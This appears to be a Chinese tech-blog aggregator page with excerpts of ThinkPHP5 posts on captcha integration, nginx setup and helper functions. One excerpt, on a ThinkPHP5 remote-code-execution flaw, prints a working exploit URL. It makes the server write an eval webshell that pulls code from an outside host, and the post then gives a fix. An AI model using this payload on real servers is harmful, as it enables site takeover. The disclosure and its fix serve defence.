thinkphp5

ThinkPHP5实现极验滑动验证码geetest功能

孤人 提交于 2020-01-04 17:34:27
现在很多网站,比如淘宝,京东等都改用使用极验拖动验证码实现登录,这种方式比传统的验证码方式有更好的体验,减少用户输入的错误,也同样能起到防盗刷的功能。现在很多极验都是第三方的,也很多都是收费的。这里主要介绍thinkphp整合系列之极验滑动验证码geetest,官网:http://www.geetest.com 具体如下: 一:注册获取key 注册;创建应用;获取key; 二:导入sdk /ThinkPHP/Library/Org/Xb/GeetestLip.class.php(此处GeetestLip.class.php是我重新命名的geetest类文件,原名为class.geetestlib.php) 此处牵扯到thinkphp引入第三方类,我把第三方类放到Org/Util/Xb下面了,同时对该类文件加入命名空间如下,否则实例化类时找不到文件 三:生成验证样式 admin/view/public/cdtsh_log_smfyws.php <!doctype html> <html> <head> <meta charset="GBK" /> <title>网站管理系统后台</title> <script language="javascript" type="text/javascript" src="__JS__/jquery.js"></script> <link rel=

nginx配置thinkphp5

≯℡__Kan透↙ 提交于 2020-01-03 01:56:53
nginx,php,tp框架版本: nginx版本: [root@z_centos nginx]# /usr/local/nginx/sbin/nginx -h nginx version: nginx/1.13.9 tp5版本: thinkphp 5.0.18 PHP版本: [root@z_centos nginx]# php -v PHP 7.2.3 (cli) (built: Mar 8 2018 14:43:32) ( ZTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.2.3, Copyright (c) 1999-2018, by Zend Technologies usr/locol/nginx/conf/vhost/www.xxxx.com.conf 配置文件 主配置文件中使用 include ./vhost/*.conf; 引入即可 https 443端口配置项: server { listen 443 ssl; server_name www.xxxx.com; set $root /usr/local/nginx/webroot/tp5/public; ssl

nginx - nginx下配置thinkphp5

六眼飞鱼酱① 提交于 2020-01-03 01:55:49
首先tp5的访问目录指向到webroot/public文件夹中。 thinkphp的url访问:http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...],这个需要支持pathinfo,Apache默认支持,而Nginx不支持。 1.php.ini中的配置参数cgi.fix_pathinfo = 1 2.修改nginx.conf文件。 location ~ \.php (.*) $ { fastcgi_pass 127.0 . 0.1 : 9000 ; fastcgi_index index . php ; #下面两句是给fastcgi权限,可以支持 ?s=/module/controller/action的url访问模式 fastcgi_split_path_info ^((? U ).+ \.php )(/?.+) $ ; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name ; #下面两句才能真正支持 index.php/index/index/index的pathinfo模式 fastcgi_param PATH_INFO $fastcgi_path_info ; fastcgi_param PATH_TRANSLATED

ThinkPHP5中的助手函数

笑着哭i 提交于 2019-12-26 22:58:51
load_trait:快速导入Traits,PHP5.5以上无需调用 /** * 快速导入Traits PHP5.5以上无需调用 * @param string $class trait库 * @param string $ext 类库后缀 * @return boolean */ load_trait ( $class , $ext = EXT ) exception:抛出异常处理 /** * 抛出异常处理 * @param string $msg 异常消息 * @param integer $code 异常代码 默认为0 * @param string $exception 异常类 * * @throws Exception */ exception ( $msg , $code = 0 , $exception = '' ) debug:记录时间(微秒)和内存使用情况 /** * 记录时间(微秒)和内存使用情况 * @param string $start 开始标签 * @param string $end 结束标签 * @param integer|string $dec 小数位 如果是m 表示统计内存占用 * @return mixed */ debug ( $start , $end = '' , $dec = 6 ) lang:获取语言变量值 /** *

THINKPHP5近期暴露的漏洞

匆匆过客 提交于 2019-12-24 18:01:45
这个THINKPHP5的漏洞涉及好几个版本,我测试中5.0.21和5.0.22都有,据说是5.0 ~ 5.0.23之间的版本都存在,这个漏洞可以执行写文件的操作。 当然了,赶紧升级框架到安全版本是比较好的方式,不过我这边测试了一下,发现确实可以通过url访问注入进行执行写文件操作,例如 http://你的域名/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval(file_get_contents("http%3a%2f%2fcqy666.cn%2fphp.jpg"))?^>>test.php 之后在public下面发现了一个PHP文件 是 test.php 内容如下 访问test.php发现 我本地执行是这样的 然后就没有然后了 多么可怕! 网上有人说的解决方案是找到 thinkphp/library/think/App.php文件第556行那里 改为 对控制器进行一次过滤,当然为了保险还是要把配置的路由那里改一下 'url_route_on' => true, 来源: https://www.cnblogs.com/lizhaoyao/p/10439130.html

require(): open_basedir restriction in effect. 解决方法

岁酱吖の 提交于 2019-12-16 17:56:54
https://www.cnblogs.com/blibli/p/8657736.html 在linux服务器部署thinkphp5的时候PHP报了这个错误, 如下: + View Code 解决方法: 我首先要申明的是,下面的方法适合所有报“PHP报:require(): open_basedir restriction in effect”错误的项目,并不仅仅只是适合thinkphp5的人。 只要你的PHP报此错误都可以得到解决。 如果把 ThinkPHP5 部署在了 LAMP/LNMP 环境上很有可能出现白屏的情况,这个时候需要开启 php 错误提示来判断是否是因为设置了 open_basedir 选项出错。 打开 php.ini 搜索 display_errors ,把 Off 修改为 On就开启了 php 错误提示,这时再访问之前白屏的页面就会出现错误信息。如果错误信息如下那么很有可能就是因为 open_basedir 的问题。 一、php.ini 修改方法 把权限作用域由入口文件目录修改为框架根目录 打开 php.ini 搜索 open_basedir ,把 1 open_basedir = "/home/wwwroot/tp5/public/:/tmp/:/var/tmp/:/proc/" 修改为 1 open_basedir = "/home/wwwroot/tp5

vue php 前后台分离 模板项目

爱⌒轻易说出口 提交于 2019-12-11 22:34:22
这几天整理了一个完整的前后台分离项目 前端 VUE 后台Thinkphp5 访问地址 : http://118.31.226.151:1001/static/dist/ 账号: admin 密码:888888 (服务器异常的小,请轻轻访问,谁叫我穷~) 项目简介: 基础功能模块:登录、权限验证、用户管理、菜单管理、部门管理、角色管理、表格导入导出 业务功能模块: 挂号、问诊、开票、打印票据 前台是 vue-cli3.0 标准目录结构 ├─public | ├─favicon.ico | ├─index.html | ├─element-theme 主题静态文件 ├─src | ├─App.vue | ├─main.js | ├─views 页面 | ├─utils 公共js | ├─store 全局变量 | ├─router | ├─mixins 公共方法类 | | └view-module.js | ├─icons | ├─filters 过滤器 | | └index.js | ├─element-ui | ├─components 组件 | ├─assets 静态资源 ├─.editorconfig ├─.env.development ├─.env.development.dev ├─.env.production ├─.env.production.sit ├─.env

ThinkPHP5的数据库和模型用法

老子叫甜甜 提交于 2019-12-08 08:48:27
1,TP5的数据库架构 Db : 是TP5操作数据库的入口类。它的作用是为连接数据库做准备,我们只需要在database.php里填写相应的配置即可。 Connection : 是TP5的连接器类,因为TP5支持四种数据库(Mysql,Pgsql,Sqlite,Sqlsrv),所以TP5封装了一个类来提供统一的调用接口来支持我们连接数据库(这里的连接是惰性连接,只有在执行SQL的时候才会真正连接)。 Query : 查询器,因为不同数据库的SQL语句不同,所以封装了一个Query类来提供统一的接口,以实现不同数据库的CURD操作。查询器是TP5数据访问层的核心,它连接了Connection和Builder。 Builder : 生成器。这个类主要是把Query的查询参数生成相应的sql语句,然后把其返回给Connection供其使用。 2, 数据库的访问 在TP5中,对于数据库的访问有三种方法: 原生sql语句。 Db::query(' select * from think_user where id=? ',[8]); Db::execute(' insert into think_user (id, name) values (?, ?) ',[8,' thinkphp ']); 查询构造器 需要注意的是,上述的查询方法中find,select,insert,update

thinkphp5 ---- object(think\\response\\Json)转数组

旧街凉风 提交于 2019-12-07 19:21:25
当我们调用json返回的对象想要转成数组方便循环时 我们使用getContent()方法就可以转数组了 $data=$isvip->MyVip($request);$data = json_decode($data->getContent(),true);转载至:https://blog.csdn.net/poison_1226/article/details/98305250 来源: https://www.cnblogs.com/jian-ge/p/12002986.html

thinkphp5升级版开源框架tpframe v2.1发布

最后都变了- 提交于 2019-12-06 18:25:32
免费开源框架tpframe是一款以thinkphp5为驱动,在此基础上进行进一步的完善与改进的框架,保持了ThinkPHP5原有的所有特性,优化核心,减少依赖,为个人或企业建站提供高效、快速解决的方案 框架特色: 保留thinkphp5的所有特性 网站目录结构清晰、合理 系统采用多层设计模式来更低的减少各个模块之间的耦合度,让你的代码在开发不同系统时可更好的重复利用 系统可插件式开发功能模块,丰富的免费插件可直接下载使用 API支持更加完善 更多功能等待你去挖掘... 官方网站: http://www.tpframe.com tpframe v2.1最新版下载 gitee: https://gitee.com/37duman/tpframe github: https://github.com/tpframe/tpframe 来源: 51CTO 作者: 过来瞧一瞧 链接: https://blog.51cto.com/3695538/2087545